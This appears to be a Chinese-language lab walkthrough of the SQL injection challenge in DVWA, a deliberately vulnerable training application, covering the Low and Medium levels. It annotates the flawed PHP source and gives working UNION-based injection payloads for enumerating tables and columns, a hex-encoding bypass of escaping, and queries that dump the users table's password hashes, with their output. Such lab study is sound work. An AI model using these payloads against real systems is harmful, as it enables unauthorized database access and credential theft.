February 25, 2025
DVWA SQL injection
Low 题目源码 <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // 没有过滤就直接带入 SQL 语句中 使用单引号闭合 // !!! 漏洞点 !!! // 没有对 $id 进行任何过滤或转义,就直接拼接到 SQL 查询语句中 // 这使得攻击者可以通过构造恶意的 $id 值来执行 SQL 注入攻击 // 攻击者可以利用单引号 (') 来闭合 SQL 语句中的单引号,然后注入恶意的 SQL 代码 // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results // 使用 mysqli_fetch_assoc 函数从结果集中获取一行数据,并将其作为关联数组返回 while( $row = mysqli_fetch_assoc( $result ) ) { // 回显信息 // Get values // 从关联数组中获取 'first_name' 和 'last_name' 的值 $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user // 向用户显示查询结果 // 使用 <pre> 标签可以保留 HTML 代码中的空格和换行符,使输出更易于阅读。 echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } // 关闭数据库连接 mysqli_close($GLOBALS["___mysqli_ston"]); } ?> 思路 1. 判断字段数 - 使用 order by 语句 1' or 1=1 order by 1 # 临界报错即可判断字段数 (临界 - 1) 2. 确定显示的字段顺序 会进行多个查询 UNION 用于将两个或多个SELECT语句的结果合并为一个结果集 要使用UNION, 两个SELECT语句必须具有相同的列数, 而且列的数据类型必须兼容 UNION操作会将两个结果集的列对齐, 对应的位置会被映射到相同的字段上 1' union select 1,2 # $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2 #'; 3. 获取数据库名 1' union select 1,database() # 回显信息 ID: 1' union select 1,database() # First name: admin Surname: admin ID: 1' union select 1,database() # First name: 1 Surname: dvwa 4. 获取数据库中的表 1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() # 回显信息 ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # First name: admin Surname: admin ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # First name: 1 Surname: users,guestbook 5. 获取字段名 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # First name: admin Surname: admin ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # First name: 1 Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login 6. 获取字段内容 其一 1' union select 1,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,user,0x3a,password,0x3a,avatar,0x3a,last_login,0x3a,failed_login) from users # 使用UNION操作 把两个SELECT语句的结果合并 第一个SELECT只是一个简单的1 而第二个SELECT使用了GROUP_CONCAT函数 将多个字段的值用冒号分隔 拼接成一个字符串, 回显的结果显示, 所有用户的信息都被拼接在一起 包括user_id、first_name、last_name等等 每个字段之间用冒号分隔, 多个用户之间用逗号分隔 GROUP_CONCAT 字符串拼接 前面的 1 用于匹配列数, 确保查询顺利执行 In [2]: chr(0x3a) Out[2]: ':' 回显 ID: 1' union select 1,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,user,0x3a,password,0x3a,avatar,0x3a,last_login,0x3a,failed_login) from users # First name: admin Surname: admin ID: 1' union select 1,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,user,0x3a,password,0x3a,avatar,0x3a,last_login,0x3a,failed_login) from users # First name: 1 Surname: 1:admin:admin:admin:5f4dcc3b5aa765d61d8327deb882cf99:/hackable/users/admin.jpg:2025-02-20 11:55:33:0,2:Gordon:Brown:gordonb:e99a18c428cb38d5f260853678922e03:/hackable/users/gordonb.jpg:2025-02-20 11:55:33:0,3:Hack:Me:1337:8d3533d75ae2c3966d7e0d4fcc69216b:/hackable/users/1337.jpg:2025-02-20 11:55:33:0,4:Pablo:Picasso:pablo:0d107d09f5bbe40cade3de5c71e9e9b7:/hackable/users/pablo.jpg:2025-02-20 11:55:33:0,5:Bob:Smith:smithy:5f4dcc3b5aa765d61d8327deb882cf99:/hackable/users/smithy.jpg:2025-02-20 11:55:33:0 其二 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # 回显 ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # First name: admin Surname: admin ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # First name: Gordon Surname: Brown ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # First name: Hack Surname: Me ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # First name: Pablo Surname: Picasso ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # First name: Bob Surname: Smith ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # First name: 1adminadmin,2GordonBrown,3HackMe,4PabloPicasso,5BobSmith Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99 Mid 题目源码 <?php // 检查是否通过 POST 请求提交了名为 'Submit' 的参数。 if( isset( $_POST[ 'Submit' ] ) ) { // 获取名为 'id' 的 POST 请求参数的值。 $id = $_POST[ 'id' ]; // 使用 mysqli_real_escape_string 函数对 $id 进行转义。 // mysqli_real_escape_string 函数用于转义字符串中的特殊字符, // 例如单引号 (')、双引号 (")、反斜杠 (\) 和 NULL 字符。 // 这可以防止 SQL 注入攻击。 // $GLOBALS["___mysqli_ston"] 是数据库连接资源。 $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); // 构建 SQL 查询语句,从名为 'users' 的表中选择 'first_name' 和 'last_name' 列, // 条件是 'user_id' 等于转义后的 $id 值。 // !!! 注意 !!! 虽然使用了 mysqli_real_escape_string,但仍然存在整数型 SQL 注入的风险。 // 如果 $id 期望的是一个整数,并且没有进行类型检查,攻击者可以输入类似 "1 OR 1=1" 的值, // 从而绕过 user_id 的限制,获取所有用户的信息。 $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; // 使用 mysqli_query 函数执行 SQL 查询。 // $GLOBALS["___mysqli_ston"] 是数据库连接资源。 // 如果查询失败,则使用 die 函数输出错误信息。 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // 获取查询结果 // 使用 mysqli_fetch_assoc 函数从结果集中获取一行数据,并将其作为关联数组返回。 // 循环遍历结果集中的每一行。 while( $row = mysqli_fetch_assoc( $result ) ) { // 从关联数组中获取 'first_name' 和 'last_name' 的值。 $first = $row["first_name"]; $last = $row["last_name"]; // 向用户显示查询结果。 // 使用 <pre> 标签可以保留 HTML 代码中的空格和换行符,使输出更易于阅读。 echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // 这段代码在 index.php 页面中稍后会被使用 // 在这里设置是为了像其他脚本一样,可以在这里关闭数据库连接 // 构建 SQL 查询语句,从名为 'users' 的表中选择所有行的数量。 $query = "SELECT COUNT(*) FROM users;"; // 使用 mysqli_query 函数执行 SQL 查询。 // $GLOBALS["___mysqli_ston"] 是数据库连接资源。 // 如果查询失败,则使用 die 函数输出错误信息。 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 使用 mysqli_fetch_row 函数从结果集中获取一行数据,并将其作为索引数组返回。 // 获取索引为 0 的元素,该元素包含用户数量。 $number_of_rows = mysqli_fetch_row( $result )[0]; // 关闭数据库连接。 mysqli_close($GLOBALS["___mysqli_ston"]); ?> 思路 虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数 1 判断注入类型 这里我们其实可以直接做出判断 审计代码发现mysqli_real_escape_string()函数的存在 那么字符型注入肯定会遇到问题 我们直接进行数字型注入 因为前端使用下拉菜单,所以我们得通过抓包修改参数。 2. 猜测字段数 确定回显字段顺序 获取当前数据库 获取数据库中的表 这四部分操作与Low级别差别不大 这里只附上相关语句 1 order by 3 # 1 union select 1,2 # 1 union select 1,database() # 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 3. 获取表中字段名 1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 4. 我们按照原来的思路构建了语句,但是发生了错误,是因为单引号被转义,所以我们利用十六进制绕过 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # 如果用 Yakit 的动态渲染, 需要给生成的内容前加上 `0x` 5. 获取数据 1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # final id=-1 union select 1,(SELECT GROUP_CONCAT(user,password SEPARATOR 0x3c62723e) FROM users)&Submit=Submit 也可以使用 python 完成第 4 步
Read more